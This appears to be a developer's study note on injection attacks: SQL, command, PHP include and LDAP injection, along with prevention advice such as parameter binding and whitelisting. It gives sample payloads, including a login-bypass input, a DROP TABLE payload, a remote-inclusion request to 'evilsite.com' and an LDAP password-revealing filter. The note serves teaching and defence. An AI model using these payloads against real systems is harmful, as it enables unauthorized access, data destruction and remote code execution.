// Security - Injections (SQL injection and other injection vulnerabilities): Types of Injection: 1. SQL Injection 2. LDAP 3. Xpath 4. OS Commands 5. XML parsers 6. SMTP Headers 7. Program arguments Consider the following query: Select * from user where username = ‘un_input’ and password = ‘pw_input’ where un_input and pw_input are user inputs, and no modifications are made before passing to the SQL query. An enterprising attacker might enter a username of “ admin’– ” which results in this query: Select * from user where username = ‘admin’--’ and password = ‘pw_input’ In SQL, “--” denotes a comment, causing the application to ignore the rest of the query and only execute the first part. Since this query will be true as long as the admin exists, a user could bypass the password check and login this way. To determine if a field is vulnerable to SQL injection attack, modify the input for that field to include something like ' limit 1' and see if it produce the expected result. If it does produce the expected result, the field is vulnerable to SQL injection attacks. The ' limit 1' approach may or may not always be a good test for SQL injection vulnerability, but it has no harmful side effect. Other things that we may want to try is using quotes, percent sign, and --. If these characters lead to error, it is likely that this field is vulnerable to SQL injection attack (particularly if the result SQL statement is displayed on the screen as part of the error or exception message). Common payload for SQL inject attacks: something ' limit 1' something %' and Performance_rating < 2 and name like '% 5 or 1=1; 5; DROP TABLE GRADES; SQL injection is not just about querying for data. It can also be used to CREATE, INSERT, DELETE, and DROP data from your database. So, SQL injection flaws can be extremely serious. A single flaw anywhere may allow attacker to read, modify, or delete our entire database. To avoid injection attacks, use parameter binding if available. If not, we need to carefully escape special characters using the specific escape syntax for that interpreter. OWASP ESAPI provides many of these escaping routines: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/ Encoder.html http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/ Validator.html Command injection attacks are possible largely due to insufficient input validation. To prevent command injection, search the source code for all calls to external resources (e.g., system, exec, fork, Runtime.exec, etc), and make sure that you validate the data, remove dangerous characters, etc. On the Unix platform, the semicolon character is typically used to chain commands in order to perform a command injection attack. Always use absolute path, and avoid being dependent on the PATH environment variable, because the attacker can alter the PATH environment variable. Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example: 1. allowed characters (standard regular expressions classes or custom) 2. data format 3. amount of expected data Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell. For example, if an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind. The URL below passes a page name to the include() function: http://testsite.com/index.php?page=contact.php The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evilcode.php Avoid using eval with untrusted data. // LDAP Injection String ldapSearchQuery = "(cn=" + $userName + ")"; If the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows: 1. If a user puts “*” on box search, the system may return all the usernames on the LDAP base 2. If a user puts “jonys) (| (password = * ) )”, it will generate the code below revealing jonys’ password ( cn = jonys ) ( | (password = * ) ) injection = input validation (to prevent injection problems, do input validation).
// Security - Injection - Prevention: 1. Use parameter binding 2. Whitelisting